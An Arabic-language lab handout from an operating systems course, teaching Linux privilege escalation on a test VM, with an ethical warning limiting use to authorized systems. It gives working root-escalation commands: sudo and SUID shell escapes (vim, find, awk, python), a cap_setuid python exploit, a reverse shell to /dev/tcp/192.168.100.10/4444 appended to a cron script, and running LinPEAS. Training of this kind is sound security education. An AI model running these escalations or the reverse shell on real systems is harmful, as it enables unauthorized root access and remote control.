المختبر 9.1: تصعيد الامتيازات في لينكس
أهداف التعلم
في نهاية هذا المختبر، ستكون قادرًا على:
- تعداد نظام لينكس للعثور على متجهات التصعيد
- استغلال الثنائيات SUID/SGID التي تم تكوينها بشكل خاطئ
- استغلال sudo الذي تم تكوينه بشكل خاطئ
- استخدام GTFOBins لاستغلال الثنائيات
- استغلال قدرات لينكس
- استغلال مهام cron غير المؤمنة بشكل جيد
- استخدام LinPEAS للتشغيل الآلي
- الانتقال من مستخدم عادي إلى الجذر في بضع دقائق
المدة المقدرة
40 دقيقة
المتطلبات المسبقة
- VM لينكس (أوبونتو/ديبيان) أو WSL
- حساب مستخدم عادي
- الوصول إلى حساب مع sudo (لإعداد)
- فهم أساسي للينكس
السياق المهني
تصعيد الامتيازات في لينكس ضروري في:
- اختبارات الاختراق
- CTF والمسابقات
- تدقيق الأمان
- تمارين Red Team
يستخدم بعد:
- الاستغلال الأولي (web shell، SSH مخترق)
- للحصول على الجذر والسيطرة الكاملة
تحذير أخلاقي وقانوني
تقنيات التصعيد للحصول على الجذر بدون إذن = جريمة حاسوبية.
مسموح:
- VM للاختبار
- منصات قانونية (TryHackMe، HackTheBox)
- اختبارات مصرح بها
ممنوع:
- الخوادم الحقيقية بدون إذن
- التصعيد غير المصرح به
الجزء 1: تعداد لينكس
الأوامر الأساسية
معلومات النظام:
uname -a # إصدار النواة
cat /etc/os-release # التوزيع
hostname # اسم الجهاز
id # UID/GID الخاص بك
whoami # اسم المستخدم
الأذونات وsudo:
sudo -l # الأوامر المسموح بها في sudo
cat /etc/sudoers # تكوين sudo (إذا كان قابلاً للقراءة)
نتيجة نموذجية لـ sudo -l:
User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
حرج: يمكن للمستخدم تشغيل vim كجذر بدون كلمة مرور!
البحث عن ملفات SUID:
find / -perm -4000 2>/dev/null
النتيجة:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find ← خطير إذا تم تكوينه بشكل خاطئ
/usr/bin/vim.basic ← خطير جدًا
أسئلة:
- ما هو إصدار النواة الذي يستخدمه نظامك؟
- ما هي الأوامر التي يمكنك تنفيذها باستخدام sudo؟
الجزء 2: استغلال Sudo
Sudo مع NOPASSWD
إذا أظهر sudo -l:
(ALL) NOPASSWD: /usr/bin/vim
الاستغلال عبر GTFOBins:
قم بزيارة: https://gtfobins.github.io/gtfobins/vim/
الحمولة:
sudo vim -c ':!/bin/bash'
أو:
sudo vim
:set shell=/bin/bash
:shell
بوم! شل الجذر!
تحقق:
whoami
id
النتيجة: root
من مستخدم إلى جذر في 10 ثوانٍ!
ثنائيات أخرى قابلة للاستغلال
find:
sudo find /etc -exec /bin/bash \;
awk:
sudo awk 'BEGIN {system("/bin/bash")}'
less:
sudo less /etc/hosts
!bash
python:
sudo python -c 'import os; os.system("/bin/bash")'
أسئلة: 3. هل نجح استغلال sudo؟ 4. أي ثنائي قمت باستغلاله؟
الجزء 3: ثنائيات SUID
العثور على SUID خطير
البحث:
find / -perm -4000 2>/dev/null
ثنائيات SUID الشرعية (العادية):
- /usr/bin/passwd
- /usr/bin/sudo
- /usr/bin/su
ثنائيات SUID الخطيرة (إذا كانت موجودة):
- /usr/bin/find
- /usr/bin/vim
- /usr/bin/python
- /usr/bin/bash
- /usr/bin/more
- /usr/bin/less
إذا كان find هو SUID:
/usr/bin/find /etc -exec /bin/bash -p \;
الخيار -p: يحافظ على SUID (يبقى الجذر!)
أسئلة: 5. ما هي ثنائيات SUID التي وجدتها؟ 6. أي منها قابل للاستغلال وفقًا لـ GTFOBins؟
الجزء 4: قدرات لينكس
قائمة القدرات
getcap -r / 2>/dev/null
نتيجة نموذجية:
/usr/bin/python3.8 = cap_setuid+ep
cap_setuid: يسمح بتغيير UID!
الاستغلال:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
تم الحصول على الجذر!
أسئلة: 7. هل توجد ثنائيات بقدرات خطيرة؟
الجزء 5: مهام Cron
العثور على مهام Cron
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
إذا كان script cron قابلاً للكتابة:
echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh
انتظر التنفيذ: شل الجذر!
الجزء 6: التشغيل الآلي مع LinPEAS
التثبيت
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
فحص كامل تلقائي!
النتيجة:
- جميع الثغرات مدرجة
- تلوين الكود (أحمر = حرج)
- اقتراحات الاستغلال
التسليمات
- تقرير مع تصعيد ناجح من المستخدم إلى الجذر
- الطريقة المستخدمة (sudo، SUID، القدرات)
- الوقت المقاس للتصعيد
- مخرجات LinPEAS كاملة
الخاتمة
تقنيات متقنة:
- تعداد لينكس كامل
- استغلال sudo
- استغلال SUID
- القدرات
- التشغيل الآلي LinPEAS
الوقت النموذجي للتصعيد: 5-15 دقيقة مع التعداد!
تم تطوير المختبر في إطار دورة نظم التشغيل - الوحدة 9